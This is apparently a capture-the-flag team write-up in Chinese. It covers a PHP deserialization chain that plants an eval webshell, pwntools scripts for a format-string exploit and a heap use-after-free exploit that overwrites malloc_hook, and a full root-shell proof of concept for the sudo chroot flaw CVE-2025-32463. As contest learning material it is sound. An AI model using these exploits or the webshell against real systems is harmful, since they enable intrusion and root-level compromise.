Vp0int战队 WriteUp

排名

战队名称：第**26**名

解题思路

WEB

浅析PHP原生类

根据题目提示，需要用到php原生类

代码块

```
    public function write($cla, $file, $cont)
    {
        $obj = new $cla();
        $obj->open($file,$cont);
        return True;
    }
```

该原生类需要无参构造，并且有open方法，那么ZipArchive类符合条件。可以像下面代码这样实现删除文件

```
$a = new ZipArchive();
$a->open('test.php',ZipArchive::OVERWRITE);
```

ZipArchive::OVERWRITE是覆盖文件，但是这里只open并没有保存，那么文件就相当于被删除了

那么就可以想到删除install.lock,再写一句话木马到config.php中

由于删除文件在__destruct之前，所以文件删除后还是会生成一个新的install.lock文件，这时候就需要在删除之后生成新的之前，将一句话木马写入config.php中，并且读取flag

代码块

```
public function __destruct()
    {
        if(file_exists("install.lock")){
            exit("Already installed");
        }else{
            $config = [
                'username' => $this->username,
                'password' => md5($this->password)
            ];
            file_put_contents('config.php', serialize($config));
            file_put_contents('install.lock', "ok");
        }
    }
```

剩下的就是写链子触发

install->wakeup()->username->__toString()->(username)()->Until->__invoke()->wirte()

代码块

```
<?php
class install {
    private $username;
    private $password;

    public function __wakeup()
    {
        echo "Hello,".$this->username;
    }

    public function __toString()
    {
        ($this->username)();
        return "Guest";
    }
```

```
16
17      public function __destruct()
18      {
19          if(file_exists("install.lock")){
20              exit("Already installed");
21          }else{
22              $config = [
23                  'username' => $this->username,
24                  'password' => md5($this->password)
25              ];
26              file_put_contents('config.php', serialize($config));
27              file_put_contents('install.lock', "ok");
28          }
29      }
30  }
31
32  class Until {
33      public $a;
34      public $b;
35      public $c;
36
37      public function __invoke()
38      {
39          $this->write($this->a, $this->b, $this->c);
40      }
41
42      public function __toString()
43      {
44          return "HappyUnserialize";
45      }
46
47      public function write($cla, $file, $cont)
48      {
49          $obj = new $cla();
50          $obj->open($file,$cont);
51          return True;
52      }
53  }
54
55  $b = new Until();
56  $b->a = 'ZipArchive';
57  $b->b = 'install.lock';
58  $b->c = ZipArchive::OVERWRITE;
59  $payload_a = new install();
60  $reflection_a = new ReflectionProperty('install', 'username');
61  $reflection_a->setAccessible(true);
62  $reflection_a->setValue($payload_a, $b);
```

```

$c = new install();
$reflection_c = new ReflectionProperty('install', 'username');
$reflection_c->setAccessible(true);
$reflection_c->setValue($c, $payload_a);

$afd_payload = serialize($c);

echo rawurlencode($afd_payload);
?>
```

用上面的data在bp一直发包

代码块

```
<?php
class install {
    private $username;
    private $password;

    public function __wakeup()
    {
        echo "Hello,".$this->username;
    }

    public function __toString()
    {
        ($this->username)();
        return "Guest";
    }

    public function __destruct()
    {
        if(file_exists("install.lock")){
            exit("Already installed");
        }else{
            $config = [
                'username' => $this->username,
                'password' => md5($this->password)
            ];
            file_put_contents('config.php', serialize($config));
            file_put_contents('install.lock', "ok");
        }
    }
}

```

```php
class Until {
    public $a;
    public $b;
    public $c;

    public function __invoke()
    {
        $this->write($this->a, $this->b, $this->c);
    }

    public function __toString()
    {
        return "HappyUnserialize";
    }

    public function write($cla, $file, $cont)
    {
        $obj = new $cla();
        $obj->open($file,$cont);
        return True;
    }
}

$webshell = '<?php eval($_POST[cmd]); ?>';

$payload = new install();
$reflection_user = new ReflectionProperty('install', 'username');
$reflection_user->setAccessible(true);
$reflection_user->setValue($payload, $webshell);

$reflection_pass = new ReflectionProperty('install', 'password');
$reflection_pass->setAccessible(true);
$reflection_pass->setValue($payload, 'a');

$afw_payload = serialize($payload);

echo rawurlencode($afw_payload) . "\n\n";
?>
```

这个也一样在bp重复发包

最后去访问config.php,post传cmd参数system('cat /flag'); ，重复访问直到显示flag即可

PWN

我最好的初代同事

先是经典的小猿口算的计算5个算式，然后是fmt漏洞，但是限制了0x10的输入，

考虑改rbp链，利用栈上的rbp链，改掉其中一个rbp的低字节，改成存着返回地址的地址，

然后通过这个地址修改返回地址

一共3次机会，第一次泄漏栈地址，第二次改rbp，第三次改返回地址

代码块

```
#!/usr/bin/env python3

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'

# link=process("./fmt")
link=remote("113.201.14.253",58804)
for i in range(5):
    link.recvuntil(b'what\'s ')
    num1=int(link.recvuntil(b' ').strip())
    link.recvuntil(b'add ')
    num2=int(link.recvuntil(b'\n').strip())
    link.sendline(str(num1+num2).encode())

# gdb.attach(link,'b *$rebase(0x00000000000012F8)')
# pause()

link.recvuntil(b'[2]leave\n')
link.sendline(b'1')
link.recvuntil(b'Input:\n')
payload=b'%10$p'
link.send(payload)
link.recvuntil(b'0x')
rbp=int(link.recv(12).strip(),16)
ret_addr=rbp-0x18
success('ret_addr: '+str(hex(ret_addr)))
lowbyte=ret_addr & 0xff

link.recvuntil(b'[2]leave\n')
link.sendline(b'1')
link.recvuntil(b'Input:\n')
payload='%{}c%10$hhn'.format(str(lowbyte))
link.send(payload)
```

```

link.recvuntil(b'[2]leave\n')
link.sendline(b'1')
link.recvuntil(b'Input:\n')
payload=b'%215c%14$hhn'
link.send(payload)

link.interactive()
```

我不吃牛肉

输入的选项通过srand生成随机数之后再通过mod4获得最终选项，

通过遍历1-10，可以知道对应的选项的输入

代码块

```
for i in range(10):
    seed=i
    srand = libc.srand(seed) #设置种子
    randomnum=libc.rand()%4
    print("种子:",seed,"随机数:",randomnum)

#8-0
#4-1
#2-2
#1-3
```

先用unsortedchunk泄漏libc地址，然后再用UAF劫持malloc_hook，把libc当中的binsh字符串地址当size传进劫持成system的malloc就可以成功getshell了

代码块

```
#!/usr/bin/env python3

from pwn import *
from ctypes import *
context.log_level = 'debug'
context.arch = 'amd64'

libc = cdll.LoadLibrary('/home/garhin/CTF/beef/libc.so.6')

# for i in range(10):
#     seed=i
#     srand = libc.srand(seed) #设置种子
#     randomnum=libc.rand()%4
```

```python
#     print("种子:",seed,"随机数:",randomnum)

#8-0
#4-1
#2-2
#1-3

# link=process("./pwn")
libc=ELF('/home/garhin/CTF/beef/libc.so.6')
# gdb.attach(link,'b *$rebase()')
# gdb.attach(link)
# pause()
link=remote("113.201.14.253",36378)

def add(index,size):
    link.sendlineafter(b"choice:",b"8")
    link.sendlineafter(b"index:",str(index).encode())
    link.sendlineafter(b"size:",str(size).encode())

def delete(index):
    link.sendlineafter(b"choice:",b"4")
    link.sendlineafter(b"index:",str(index).encode())

def edit(index,length,content):
    link.sendlineafter(b"choice:",b"2")
    link.sendlineafter(b"index:",str(index).encode())
    link.sendlineafter(b"length:",str(length).encode())
    link.sendlineafter(b"content:",content)

def show(index):
    link.sendlineafter(b"choice:",b"1")
    link.sendlineafter(b"index:",str(index).encode())

add(0,0x80) #0
add(1,0x10) #1
delete(0)
show(0)
link.recvline()
libc_base=u64(link.recv(6).ljust(8,b'\x00'))-0x3c4b78
success("libc_base: "+hex(libc_base))
malloc_hook=libc_base+0x3c4b10
fake_fastchunk=malloc_hook-0x23
system=libc_base+libc.sym['system']
binsh=libc_base+next(libc.search(b'/bin/sh'))

add(2,0x80)

```

```
add(3,0x68) #2
add(4,0x68) #3
add(5,0x10) #4
delete(3)
delete(4)
edit(4,0x8,p64(fake_fastchunk))
add(6,0x68) #3
add(7,0x68) #4
edit(7,0x23+0x8,b'a'*0x13+p64(system))

link.sendlineafter(b"choice:",b"8")
link.sendlineafter(b"index:",b'8')
link.sendlineafter(b"size:",str(binsh).encode())

link.interactive()
```

infoSEC

最近还好吗

CVE-2025-32463

https://xz.aliyun.com/news/18443

此漏洞源于 sudo 1.9.14 版本中引入的一项更改。在执行 sudoers 文件之前， chroot 环境中的路径解析就开始发生，这导致攻击者能够插入恶意配置文件 (/etc/nsswitch.conf) 并加载恶意共享库。利用此漏洞，攻击者可以获得直接的 root 权限。

代码块

```
#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 - Sudo EoP Exploit PoC by Rich Mirch
#                  @ Stratascale Cyber Research Unit (CRU)

# 创建一个临时目录，方便测试
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

# 如果没有提供任何参数，就默认执行一个交互式的 root shell
if [ $# -eq 0 ]; then
    CMD="/bin/bash"
else
    # 否则，将传入的参数作为要执行的命令
    CMD="$@"
fi

```

```
# 对命令进行转义处理，使其可以安全地嵌入到 C 字符串中
# 主要是转义反斜杠和双引号
CMD_C_ESCAPED=$(printf '%s' "$CMD" | sed -e 's/\\/\\\\/g' -e 's/"/\\"/g')

cat > hacker.c<<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void hacker(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL);
}
EOF

mkdir -p hacker/etc libnss_
echo "passwd: /hacker" > hacker/etc/nsswitch.conf
cp /etc/group hacker/etc
gcc -shared -fPIC -Wl,-init,hacker -o libnss_/hacker.so.2 hacker.c

echo "hacker!"
sudo -R hacker hacker
rm -rf ${STAGE?}
```

执行后直接提升至root，直接cat /flag

Game

我勒个超级玛丽奥

连接**NoVNC**后可以直接在桌面打开shell，发现flags文件夹，在里面找到flag